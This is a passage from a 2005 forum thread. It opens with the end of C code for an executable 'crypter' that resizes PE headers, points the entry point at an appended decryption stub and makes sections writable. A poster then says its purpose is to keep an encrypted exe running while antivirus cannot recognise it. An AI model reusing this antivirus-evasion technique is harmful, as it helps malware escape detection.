// set new entry point optionHeader->SizeOfImage += 0x2000; optionHeader->SizeOfCode += 0x2000; optionHeader->SizeOfInitializedData += 0x2000; optionHeader->AddressOfEntryPoint = (DWORD)lastSection->VirtualAddress + (DWORD)lastSection->SizeOfRawData + 12 + 2*4*numOfSections - 0x2000;
// finally we need to set the main code section as writable for our stub to decrypt it! MakeAllSectionsWritable((DWORD*)hModule); printf("Crypted file successfully!"); }
n.n.p
Jul 18 2005, 07:30 AM
um, .... wow is about all I can say. Seriously nice code. I have but one question (i'd probably have more if i could actually follow your code .. must learn asm  ) is the entire point of this just to encrypt a .exe file?
tibbar
Jul 18 2005, 08:04 AM
the point is to encrypt an exe so that it still executes correctly, but AV cannot recognise it.
n.n.p
Jul 18 2005, 08:13 AM
QUOTE(tibbar @ Jul 18 2005, 09:04 AM) the point is to encrypt an exe so that it still executes correctly, but AV cannot recognise it. Ah, thanks for clearing that up. It looks pretty damn complicated to be honest.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
|
|